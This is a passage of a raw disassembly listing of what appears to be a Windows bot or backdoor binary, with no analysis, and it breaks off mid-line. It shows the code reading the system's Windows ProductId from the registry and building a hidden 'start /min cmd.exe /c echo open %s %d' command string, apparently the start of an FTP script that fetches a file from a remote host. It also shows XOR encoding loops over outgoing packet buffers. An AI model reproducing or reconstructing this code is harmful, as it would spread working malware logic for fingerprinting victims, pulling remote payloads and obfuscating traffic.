push 20019h push eax push offset aSoftwareMicr_0 ; "Software\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov [esp+158h+var_110], 80h nop call near ptr 2920000h mov edx, [esp+144h+var_12C] lea eax, [esp+144h+var_110] lea ecx, [esp+144h+var_8C] push eax push ecx push 0 push 0 push offset aProductid ; "ProductId" push edx nop call near ptr 28D0000h test eax, eax jnz short loc_435C5C lea eax, [esp+144h+var_8C] lea ecx, [esi+69h] push eax push offset aFoundWindowsPr ; "Found Windows Product ID (%s)." call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h loc_435C5C: ; CODE XREF: sub_4356F0+539j mov eax, [esp+144h+var_12C] push eax loc_435C61: ; CODE XREF: sub_4356F0+4D2j nop call near ptr 28F0000h loc_435C67: ; CODE XREF: sub_4356F0+4E9j mov ecx, [esp+144h+var_C] pop edi pop esi mov al, 1 pop ebx mov large fs:0, ecx add esp, 138h retn 4 sub_4356F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 170h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_435E00 proc near ; CODE XREF: sub_401334j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch push esi mov esi, [esp+4+arg_4] xor eax, eax test esi, esi jle short loc_435E1D mov cl, [esp+4+arg_8] mov edx, [esp+4+arg_0] loc_435E13: ; CODE XREF: sub_435E00+1Bj cmp [eax+edx], cl jz short loc_435E21 inc eax cmp eax, esi jl short loc_435E13 loc_435E1D: ; CODE XREF: sub_435E00+9j pop esi xor al, al retn ; --------------------------------------------------------------------------- loc_435E21: ; CODE XREF: sub_435E00+16j pop esi mov al, 1 retn sub_435E00 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_435E40: ; CODE XREF: ___:00401429j push ecx mov eax, [esp+18h] push ebx push ebp push esi push edi push eax mov dword ptr [esp+14h], 98h call near ptr 71AB2B66h nop mov ebx, [esp+1Ch] and eax, 0FFFFh push ebx mov [esp+2Ch], eax nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+38h] mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx rep movsd mov ecx, [esp+30h] add esp, 8 mov [eax+ebp], cl mov [eax+ebp+1], ch mov eax, [esp+34h] mov ecx, [esp+2Ch] mov [esp+1Ch], edx mov [eax+ebp], cl mov [eax+ebp+1], ch mov cx, [esp+2Eh] mov [eax+ebp+2], cl mov [eax+ebp+3], ch mov eax, [esp+38h] test eax, eax jz short loc_435EFC push ebx push ebp call eax add esp, 8 loc_435EFC: ; CODE XREF: ___:00435EF3j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_435F3E: ; CODE XREF: ___:00435FB7j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_435F7E push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_435FB9 loc_435F7E: ; CODE XREF: ___:00435F4Cj ; ___:00435F5Cj ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_435FB0 loc_435FA3: ; CODE XREF: ___:00435FAEj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_435FA3 loc_435FB0: ; CODE XREF: ___:00435FA1j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_435F3E ; --------------------------------------------------------------------------- loc_435FB9: ; CODE XREF: ___:00435F7Cj mov eax, [esp+28h] push eax call near ptr 77C2C21Bh nop mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4360A0: ; CODE XREF: ___:00401D61j push ecx push ebx push ebp push esi push edi mov edi, [esp+28h] or ecx, 0FFFFFFFFh xor eax, eax mov dword ptr [esp+10h], 98h repne scasb mov eax, [esp+1Ch] not ecx dec ecx lea ebx, [ecx+eax+1] push ebx nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 8 rep movsd mov esi, [esp+28h] or ecx, 0FFFFFFFFh mov edi, esi mov [esp+18h], edx repne scasb mov edx, [esp+1Ch] not ecx mov eax, ecx lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2Ch] and ecx, 3 test eax, eax rep movsb jz short loc_436152 push ebx push ebp call eax add esp, 8 loc_436152: ; CODE XREF: ___:00436149j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+2Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+18h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436194: ; CODE XREF: ___:0043620Dj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4361D4 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_43620F loc_4361D4: ; CODE XREF: ___:004361A2j ; ___:004361B2j ... mov esi, [esp+28h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_436206 loc_4361F9: ; CODE XREF: ___:00436204j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4361F9 loc_436206: ; CODE XREF: ___:004361F7j mov edx, [esp+18h] mov [edx+13h], cl jmp short loc_436194 ; --------------------------------------------------------------------------- loc_43620F: ; CODE XREF: ___:004361D2j mov eax, [esp+28h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+1Ch] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+1Ch] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_436300: ; CODE XREF: ___:00401FE1j mov eax, 200Ch call sub_436840 mov eax, [esp+2028h] mov ecx, [esp+202Ch] push ebx mov edx, [esp+2028h] push ebp push esi push edi push eax push eax mov eax, [esp+2048h] push eax mov eax, [esp+203Ch] push ecx push edx push eax lea ecx, [esp+34h] push offset aStartMinCmd_ex ; "start /min cmd.exe /c \"echo open %s %d "... push ecx mov dword ptr [esp+34h], 98h call sub_5EFFD5 nop lea edi, [esp+3Ch] or ecx, 0FFFFFFFFh xor eax, eax mov edx, [esp+2044h] repne scasb not ecx dec ecx lea ebx, [ecx+edx+1] push ebx call near ptr 77C2C407h nop mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+2044h] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx add esp, 28h rep movsd lea edi, [esp+1Ch] or ecx, 0FFFFFFFFh repne scasb mov [esp+10h], edx mov edx, [esp+2024h] not ecx mov eax, ecx lea esi, [esp+1Ch] lea edi, [edx+ebp-2] shr ecx, 2 rep movsd mov ecx, eax mov eax, [esp+2044h] and ecx, 3 test eax, eax rep movsb jz short loc_436402 push ebx push ebp call eax add esp, 8 loc_436402: ; CODE XREF: ___:004363F9j push ebx nop call near ptr 77C2C407h mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+10h] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_436444: ; CODE XREF: ___:004364BDj push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_436484 push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4364BF loc_436484: ; CODE XREF: ___:00436452j ; ___:00436462j ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+14h] inc ecx test ebx, ebx mov [esp+14h], ecx jle short loc_4364B6 loc_4364A9: ; CODE XREF: ___:004364B4j mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4364A9 loc_4364B6: ; CODE XREF: ___:004364A7j mov edx, [esp+10h] mov [edx+13h], cl jmp short loc_436444 ; --------------------------------------------------------------------------- loc_4364BF: ; CODE XREF: ___:00436482j mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+2030h] mov edx, [esp+202Ch] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+14h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+14h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx add esp, 200Ch retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_4365C0: ; CODE XREF: ___:00401910j push ecx push ebx mov ebx, [esp+10h] push ebp push esi push edi push ebx mov dword ptr [esp+14h], 98h nop call near ptr 77C2C407h mov ecx, ebx mov ebp, eax mov edx, ecx xor eax, eax mov edi, ebp mov esi, [esp+1Ch] shr ecx, 2 rep stosd mov ecx, edx push 18h and ecx, 3 rep stosb mov ecx, ebx mov edi, ebp mov eax, ecx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb nop call near ptr 77C2C407h mov edx, eax mov ecx, 6 xor eax, eax mov edi, edx rep stosd mov eax, [esp+30h] add esp, 8 mov ecx, 6 mov esi, (offset loc_446BD7+1) mov edi, edx mov [esp+1Ch], edx test eax, eax rep movsd jz short loc_43663D push ebx push ebp call eax add esp, 8 loc_43663D: ; CODE XREF: ___:00436634j push ebx call near ptr 77C2C407h nop mov ecx, ebx mov edx, eax mov esi, ecx xor eax, eax mov edi, edx mov [esp+1Ch], edx shr ecx, 2 rep stosd mov ecx, esi mov esi, ebp and ecx, 3 add esp, 4 rep stosb mov ecx, ebx mov edi, edx mov edx, ecx mov eax, [esp+1Ch] shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb mov [eax+0Eh], bl mov [eax+0Fh], bh loc_43667F: ; CODE XREF: ___:004366F8j push 5Ch push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0 push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Ah push ebx push ebp call sub_401334 add esp, 0Ch test al, al jnz short loc_4366BF push 0Dh push ebx push ebp call sub_401334 add esp, 0Ch test al, al jz short loc_4366FA loc_4366BF: ; CODE XREF: ___:0043668Dj ; ___:0043669Dj ... mov esi, [esp+18h] mov ecx, ebx mov eax, ecx mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax xor eax, eax and ecx, 3 rep movsb mov ecx, [esp+10h] inc ecx test ebx, ebx mov [esp+10h], ecx jle short loc_4366F1 loc_4366E4: ; CODE XREF: ___:004366EFj mov dl, [eax+ebp] xor dl, cl mov [eax+ebp], dl inc eax cmp eax, ebx jl short loc_4366E4 loc_4366F1: ; CODE XREF: ___:004366E2j mov edx, [esp+1Ch] mov [edx+13h], cl jmp short loc_43667F ; --------------------------------------------------------------------------- loc_4366FA: ; CODE XREF: ___:004366BDj mov eax, [esp+18h] push eax nop call near ptr 77C2C21Bh mov ecx, [esp+28h] mov edx, [esp+24h] mov esi, ecx xor eax, eax mov edi, edx shr ecx, 2 rep stosd mov ecx, esi mov esi, [esp+20h] and ecx, 3 rep stosb mov ecx, 6 mov edi, edx rep movsd mov ecx, ebx lea edi, [edx+17h] mov edx, ecx mov esi, ebp shr ecx, 2 rep movsd mov eax, [esp+20h] mov ecx, edx and ecx, 3 push eax rep movsb mov esi, dword_50FAC4 call esi ; free push ebp call esi ; free add esp, 0Ch lea eax, [ebx+18h] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 68h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367C8 proc near ; CODE XREF: SEH_4034E0+5j ; SEH_4036D0+5j ... nop jmp near ptr 77C227FAh sub_4367C8 endp ; --------------------------------------------------------------------------- align 10h byte_4367D0 db 90h ; DATA XREF: ___:off_43E004o ; ___:0043E018o ... db 0E9h, 37h, 0F7h dd 3DE9777Fh, 0C2777E57h, 2BE5E990h ; --------------------------------------------------------------------------- jg short loc_436859 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367E2 proc near ; CODE XREF: ___:00406BE0p ; sub_406C00+11p ... nop jmp near ptr 77C29CDDh sub_4367E2 endp ; --------------------------------------------------------------------------- dd 8112A3E9h, 0E990DC77h, 7781146Ch, 14EBE990h db 81h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4367FA proc near ; CODE XREF: sub_406C30+47p ; ___:00406CCAp ... nop jmp near ptr 77C29CC5h sub_4367FA endp ; --------------------------------------------------------------------------- dword_436800 dd 7EACE2E9h, 0C18B5A77h, 0E1D400C7h, 4C20043h, 0F18B5600h dd 3B3E8h, 2444F600h, 7740108h, 0FFBCE856h, 8B59FFFFh dd 4C25EC6h, 0C2C18B00h db 4, 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436832 proc near ; CODE XREF: sub_409580+4Dp ; ___:0040A99Dp nop jmp near ptr 77C226F6h sub_436832 endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 4Ch, 97h ; --------------------------------------------------------------------------- xor byte ptr [edi-34h], 0CCh ; =============== S U B R O U T I N E ======================================= sub_436840 proc near ; CODE XREF: sub_40A030+5p ; sub_40FF60+1Ap ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_436860 loc_43684C: ; CODE XREF: sub_436840+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax loc_436859: ; CODE XREF: ___:004367E0j cmp eax, 1000h jnb short loc_43684C loc_436860: ; CODE XREF: sub_436840+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_436840 endp ; --------------------------------------------------------------------------- align 10h dd 810DEBE9h, 15E91377h, 11777E67h, 8091F5E9h, 0E9909577h dd 778111C8h, 8035F1E9h, 0E990A177h, 7781108Ch, 5B6DE990h dd 3D83777Fh, 50E9F4h, 0FF0C75FFh, 90042474h, 7FE54BE8h dd 68C35977h, 50E9E4h, 50E9F468h, 2474FF00h, 310E80Ch dd 0C4830000h, 74FFC30Ch, 0CBE80424h, 0F7FFFFFFh, 59C01BD8h dd 0C348D8F7h, 593DE990h, 0E990777Fh, 778008D8h, 8E9E990h db 80h, 77h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4368EA proc near ; CODE XREF: sub_4198C0+28p nop jmp near ptr 77C4FA10h sub_4368EA endp ; =============== S U B R O U T I N E ======================================= sub_4368F0 proc near ; CODE XREF: sub_41B820+54p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_436911 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_436961 ; --------------------------------------------------------------------------- loc_436911: ; CODE XREF: sub_4368F0+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_43691F: ; CODE XREF: sub_4368F0+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_43691F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_43694A cmp edx, [esp+4+arg_4] ja short loc_43694A jb short loc_436952 cmp eax, [esp+4+arg_0] jbe short loc_436952 loc_43694A: ; CODE XREF: sub_4368F0+4Aj ; sub_4368F0+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_436952: ; CODE XREF: sub_4368F0+52j ; sub_4368F0+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_436961: ; CODE XREF: sub_4368F0+1Fj pop ebx retn 10h sub_4368F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_436970 proc near ; CODE XREF: sub_41B820+30p ; sub_41B820+3Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_436992 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_4369D3 ; --------------------------------------------------------------------------- loc_436992: ; CODE XREF: sub_436970+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_4369A0: ; CODE XREF: sub_436970+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_4369A0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_4369CE cmp edx, [esp+8+arg_4] ja short loc_4369CE jb short loc_4369CF cmp eax, [esp+8+arg_0] jbe short loc_4369CF loc_4369CE: ; CODE XREF: sub_436970+4Ej ; sub_436970+54j dec esi loc_4369CF: ; CODE XREF: sub_436970+56j ; sub_436970+5Cj xor edx, edx mov eax, esi loc_4369D3: ; CODE XREF: sub_436970+20j pop esi pop ebx retn 10h sub_436970 endp ; --------------------------------------------------------------------------- dd 80A0D4E9h, 2DE93977h, 0E8778086h, 1477E990h, 0E9907781h dd 7780A486h, 0A805E990h, 0E9907780h, 7780AB78h, 0A99AE990h dd 0E9907780h, 7780AD33h, 8111D3E9h, 5FE93477h, 467780B1h dd 84DCE990h, 0E9907780h, 7780A3F3h, 7F569EE9h, 0E990B377h dd 777E5B35h, 3C0E990h, 0C3E97780h, 37778007h, 887EE990h dd 0E990777Eh, 77808EEDh, 0AE20E990h, 8CE97780h, 95778039h dd 38B1E990h, 0E9907780h, 778126B7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436A5C proc near ; CODE XREF: ___:0043168Cp nop jmp near ptr 77C3619Ch sub_436A5C endp ; --------------------------------------------------------------------------- dw 0DE9h dword_436A64 dd 0A1778003h, 0A143E990h, 46D37780h, 7C801190h, 8BD577Ah dd 3DCE3AFAh, 0A16467h, 50000000h, 258964h, 83000000h dd 565368ECh, 0E8658957h, 5D89DB33h, 0E8026AFCh, 777FE8DCh dd 0D835990h, 50E9E4h, 0F40D83FFh, 0FF0050E9h, 8725E890h dd 0D8B777Eh, 50E8E8h, 0E1E80889h, 90777E86h, 0E8E40D8Bh dd 8890050h, 50FA1CA1h, 0A3008B00h, 50E9D8h, 12EE8h, 1D3900h dd 7500446Dh, 6C08680Ch, 0E8900043h, 77816B85h, 0FAE859h dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8E0A100h, 45890050h dd 94458D94h, 0DC35FF50h, 8D0050E8h, 8D509C45h, 8D509045h dd 9050A045h, 7E83C2E8h, 32086877h, 680044h, 0E8004430h dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h dd 22D967Eh, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h, 243B23Dh dd 0B322E850h, 4589FFFCh, 0E8905098h, 778032D2h, 8BEC458Bh dd 89098B08h, 5150884Dh, 21E8h, 0C3595900h, 0FFE8658Bh dd 0CFE88875h, 90778032h, 0AC96E990h, 0E990777Eh, 777FE279h dd 32BCE990h, 0E9907780h, 777FC1CAh, 8301E990h, 78E9777Eh dd 0D4778031h, 3000068h, 6800h, 25E80001h, 59000000h, 6EE9C359h dd 1677816Ah, 0C3C3C033h, 8592E990h, 0E990777Eh, 777E85C3h dd 0E75EE990h, 0E990777Fh, 777FF070h, 8205E990h, 0E9907781h dd 75C6973Bh, 0C6981AE9h, 0E990B375h, 75C5B3F2h, 8843E990h dd 0E9E975C5h, 0CA75C697h, 0B319E990h, 0E99075C4h, 75C54BF8h dd 0A55E990h, 85E975C6h, 0E675C4EEh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep nop jmp near ptr 76D6AC1Dh sub_436C60 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 23B9A6Eh, 3B9B21E9h, 54E90702h, 4023B9Ch, 0A0FDE990h dd 7DE9023Bh, 4E023C93h, 0A41DE990h, 0E990023Ch, 23D9370h dd 936AE990h, 0E990023Eh, 23EA7E5h, 0A9BCE990h, 0E990023Eh dd 23EAD15h, 0AF36E990h, 4DE9023Eh, 4023F93h, 9A92E990h dd 0E990023Fh, 23F9ECDh, 933AE990h, 0E9900240h, 2409E0Bh dd 932EE990h, 0DEE90241h, 0A1024195h, 9322E990h, 1DE90242h dd 71024393h, 0A520E990h, 0E9900243h, 243B0E9h, 930AE990h dd 3CE90244h, 0A602449Ah, 9E71E990h, 0E9900244h, 24592F8h dd 92F2E990h, 0E5E9023Bh, 0FA023A9Ch, 92E6E990h, 0E1E9023Ah dd 0B8023992h, 389BE7E9h, 0E990BB02h, 23892D4h, 92CEE990h dd 0E9900237h, 2369973h, 9682E990h, 0E9900236h, 23692BCh dd 9944E990h, 0B1E90235h, 76022D92h, 92AAE990h, 0D7E90235h dd 0CF02349Dh, 9D77E990h, 0E9900234h, 7C4CA385h, 4CA298E9h dd 0FDE9AE7Ch, 0BD02349Bh, 9A76E990h, 0E9900234h, 2349280h dd 99EBE990h, 5BE90233h, 0B8023399h, 339721E9h, 0E9907602h dd 233961Bh, 943CE990h, 0E9900233h, 233925Ch, 9F8BE990h dd 0E9900232h, 2329DF5h, 9B78E990h, 6E90232h, 0E1023299h dd 988AE990h, 0E9900232h, 2329238h, 9E5DE990h, 0E9900231h dd 2319AD9h, 9919E990h, 0E9900231h, 23194EBh, 921AE990h dd 0F3E90231h, 3702309Dh, 9AE0E990h, 0E9900230h, 2309AB0h dd 9423E990h, 0E9900230h, 23091FCh, 2F9DB4E9h, 0E9E9E602h dd 0E022F99h, 91EAE990h, 0E990022Fh, 22EA039h, 9E3CE990h dd 0E990022Eh, 22E9B3Fh, 99ADE990h, 0E990022Eh, 22E91CCh dd 2D93BDE9h, 0E9904602h, 1B9195h, 45959AE9h, 0E990A402h dd 24FA2D4h, 91AEE990h, 0A9E9024Bh, 0BD024F91h, 4E91A3E9h dd 0E9909202h, 24D9EDBh, 9196E990h, 0E990024Dh, 24C9795h dd 4C957AE9h, 85E9A602h, 16024C91h, 4B9B65E9h, 0E990A902h dd 24B9A80h, 972EE990h, 0E990024Bh, 2459954h, 9D8AE990h dd 7E9024Ah, 83024A99h, 95A4E990h, 0E990024Ah, 24A9154h dd 49914FE9h, 49E9A602h, 0E8024891h, 0AE90E990h, 0E9900247h dd 247AAD9h, 0A819E990h, 0E9900247h, 247A617h, 912AE990h dd 0E9900247h, 2469124h, 0A22EE990h, 0E9907C60h, 7167D059h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p nop jmp near ptr 71AB4FD4h sub_436EE8 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 71687585h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EF4 proc near ; CODE XREF: sub_42C8E1+1p nop jmp near ptr 71AB2BF4h sub_436EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p ; sub_42DC70+4Fp nop jmp near ptr 71AB615Ah sub_436EFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap ; sub_42DD50+45p ... nop jmp near ptr 71AB428Ah sub_436F00 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_436F06 proc near ; CODE XREF: sub_42DFD0+53p ; sub_42DFD0+96p ... jmp near ptr 71AB9639h sub_436F06 endp ; --------------------------------------------------------------------------- db 76h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F0C proc near nop jmp near ptr 71AC1028h sub_436F0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F12 proc near ; CODE XREF: sub_42CE80+71p ; sub_42DA60+50p nop jmp near ptr 71AB2DC0h sub_436F12 endp ; --------------------------------------------------------------------------- dd 67BCA3E9h db 71h, 0C7h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F1E proc near nop jmp near ptr 71AB88D3h sub_436F1E endp ; --------------------------------------------------------------------------- db 90h db 0E9h, 3Ch, 0BCh db 67h, 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F2A proc near ; CODE XREF: sub_42D580+187p nop jmp near ptr 71AB951Eh sub_436F2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F30 proc near nop jmp near ptr 71AB3E00h sub_436F30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F36 proc near ; CODE XREF: sub_42C810+B1p nop jmp near ptr 71AB2B66h sub_436F36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F3C proc near ; CODE XREF: ___:0042C93Fp ; sub_42D580+152p nop jmp near ptr 71AB3B91h sub_436F3C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_436F42 proc near nop jmp near ptr 71AB406Ah sub_436F42 endp ; --------------------------------------------------------------------------- db 